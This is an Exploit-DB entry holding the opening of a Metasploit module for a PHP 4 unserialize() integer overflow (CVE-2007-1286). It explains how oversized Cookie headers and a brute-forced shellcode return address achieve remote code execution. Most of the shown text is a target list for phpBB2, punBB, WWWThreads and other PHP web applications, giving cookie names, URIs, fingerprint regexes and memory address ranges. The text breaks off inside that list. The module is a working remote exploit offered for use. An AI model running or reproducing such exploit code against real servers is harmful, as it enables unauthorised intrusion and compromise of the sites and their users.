Exploit-DB #9939
Description: PHP < 4.5.0 - Unserialize Overflow (Metasploit)
Type: remote
Platform: php
Date: 2007-03-01
Author: sesser

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Brute
	
	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',
			'Description'    => %q{
				This module exploits an integer overflow vulnerability in the unserialize()
			function of the PHP web server extension. This vulnerability was patched by
			Stefan in version 4.5.0 and applies all previous versions supporting this function.
			This particular module targets numerous web applications and is based on the proof
			of concept provided by Stefan Esser. This vulnerability requires approximately 900k
			of data to trigger due the multiple Cookie headers requirement. Since we
			are already assuming a fast network connection, we use a 2Mb block of shellcode for
			the brute force, allowing quick exploitation for those with fast networks. 
			
			One of the neat things about this vulnerability is that on x86 systems, the EDI register points
			into the beginning of the hashtable string. This can be used with an egghunter to
			quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction
			is known. The EDI method is faster, but the bandwidth-intensive brute force used by this
			module is more reliable across a wider range of systems.
			
			
			},
			'Author'         => 
				[ 
					'hdm',                                        # module development
					'GML <grandmasterlogic [at] gmail.com>',      # module development and debugging
					'Stefan Esser <sesser [at] hardened-php.net>' # discovered, patched, exploited
				], 
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE', '2007-1286'],
					['OSVDB', '32771'],
					['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
				},
			'Targets'        => 
				[
				
					#
					# 64-bit SuSE:    0x005c0000
					# Backtrack 2.0:  0xb797a000
					# Gentoo:         0xb6900000
					#
					[ 'Linux x86 Generic', 
						{						
							'Platform'      => 'linux', 
							'Arch'          => [ ARCH_X86 ],
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xb6000400 },
									'Stop'  => { 'Ret' => 0xbfff0000 },
									'Step'  => 1024*1024
								}							
						}
					],					
					[ 'Linux x86 phpBB2', 
						{
							'DefaultCookie' => 'phpbb2mysql_data',
							'DefaultURI'    => '/phpBB2/faq.php',
							'Signature'     => /Powered\s+by.*phpBB/,							
							'Platform'      => 'linux', 
							'Arch'          => [ ARCH_X86 ],
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xb6000400 },
									'Stop'  => { 'Ret' => 0xbfff0000 },
									'Step'  => 1024*1024
								}							
						}
					],
					[ 'Linux x86 punBB', 
						{
							'DefaultCookie' => 'punbb_cookie',
							'DefaultURI'    => '/index.php',
							'Signature'     => /Powered\s+by.*PunBB/,
							'Platform'      => 'linux', 
							'Arch'          => [ ARCH_X86 ],
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xb6000400 },
									'Stop'  => { 'Ret' => 0xbfff0000 },
									'Step'  => 1024*1024
								}							
						}
					],
					[ 'Linux x86 WWWThreads', 
						{
							'DefaultCookie' => 'forum_cookie',
							'DefaultURI'    => '/index.php',
							'Signature'     => /Powered\s+by.*WWWThreads/,
							'Platform'      => 'linux', 
							'Arch'          => [ ARCH_X86 ],
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xb6000400 },
									'Stop'  => { 'Ret' => 0xbfff0000 },
									'Step'  => 1024*1024
								}							
						}
					],
					[ 'Linux x86 Deadman Redirect', 
						{
							'DefaultCookie' => 'authcookie',
							'DefaultURI'    => '/dmr/dmr.php',
							'Signature'     => /document\.f\.userdata\.focus/,
							'Platform'      => 'linux', 
							'Arch'          => [ ARCH_X86 ],
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xb6000400 },
									'Stop'  => { 'Ret' => 0xbfff0000 },
									'Step'  => 1024*1024
								}							
						}
					],
					[ 'Linux x86 PhpWebGallery', 
						{
							'DefaultCookie' => 'pwg_remember',
							'DefaultURI'    => '/phpwebgallery/index.php',
							'Signature'     => /Powered\s+by.*phpwebgallery/msi,
							'Platform'      => 'linux', 
							'Arch'          => [ ARCH_X86 ],
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xb6000400 },
									'Stop'  => { 'Ret' => 0xbfff0000 },
									'Step'  => 1024*1024
								}							
						}
					],
					[ 'Linux x86 Ariadne-CMS', 
						{
							'DefaultCookie' => 'ARCookie',
							'DefaultURI'    => '/ariadne/loader.php/',
							'Signature'     => /Ariadne is free software/,
							'Platform'      => 'linux', 
							'Arch'          => [ ARCH_X86 ],
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xb6000400 },
									'Stop'  => { 'Ret' => 0xbfff0000 },
									'Step'  => 1024*1024
								}							
						}
					],
					[ 'Linux x86 ProMA', 
						{
							'DefaultCookie' => 'proma',
							'DefaultURI'    => '/proma/index.php',
							'Signature'     => /Change Account Information/,
							'Platform'      => 'linux', 
							'Arch'          => [ ARCH_X86 ],
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xb6000400 },
									'Stop'  => { 'Ret' => 0xbf